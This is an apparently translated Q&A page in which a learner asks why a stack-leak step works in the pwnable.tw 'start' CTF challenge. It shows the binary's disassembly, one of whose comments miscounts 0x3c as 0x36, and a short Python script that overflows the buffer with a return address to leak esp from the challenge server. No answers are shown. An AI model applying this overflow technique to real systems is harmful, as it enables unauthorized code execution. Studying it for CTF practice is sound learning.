在组装中利用系统调用

时间:2019-03-24 01:06:05

标签: python security assembly x86 exploit

我正试图解决pwnable.tw's start challenge,以了解有关漏洞利用的更多信息。提供的反汇编二进制代码如下:

start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   54                      push   esp
 8048061:   68 9d 80 04 08          push   0x804809d
 8048066:   31 c0                   xor    eax,eax
 8048068:   31 db                   xor    ebx,ebx
 804806a:   31 c9                   xor    ecx,ecx
 804806c:   31 d2                   xor    edx,edx
 804806e:   68 43 54 46 3a          push   0x3a465443
 8048073:   68 74 68 65 20          push   0x20656874
 8048078:   68 61 72 74 20          push   0x20747261
 804807d:   68 73 20 73 74          push   0x74732073
 8048082:   68 4c 65 74 27          push   0x2774654c
 8048087:   89 e1                   mov    ecx,esp ; buffer = $esp
 8048089:   b2 14                   mov    dl,0x14 ; count = 0x14 (20)
 804808b:   b3 01                   mov    bl,0x1  ; fd = 1 (stdout)
 804808d:   b0 04                   mov    al,0x4  ; system call = 4 (sys_write)
 804808f:   cd 80                   int    0x80    ; call sys_write(1, $esp, 20)
 8048091:   31 db                   xor    ebx,ebx ; fd = 0 (stdin)
 8048093:   b2 3c                   mov    dl,0x3c ; count = 0x36 (60)
 8048095:   b0 03                   mov    al,0x3  ; system call = 3 (sys_read)
 8048097:   cd 80                   int    0x80    ; sys_read(0, ecx/$esp, 60)
 8048099:   83 c4 14                add    esp,0x14
 804809c:   c3                      ret    

0804809d <_exit>:
 804809d:   5c                      pop    esp
 804809e:   31 c0                   xor    eax,eax
 80480a0:   40                      inc    eax

几个书面说明(123)指出解决方案在于泄漏esp地址,该地址被转移到ecx利用sys_writesys_read上的计数值。这样,我们可以将返回地址强制为0x8048087,以便程序循环并打印esp的内容。

但是,我不知道这是如何工作的。系统调用究竟对寄存器执行什么操作,这如何更改返回地址?为什么下面的漏洞利用有效?

from socket import *
from struct import *

c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))

# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = {0:08x}'.format(esp)

我相信显示每步寄存器值的分步演练确实可以帮助您解决问题。

0 个答案:

没有答案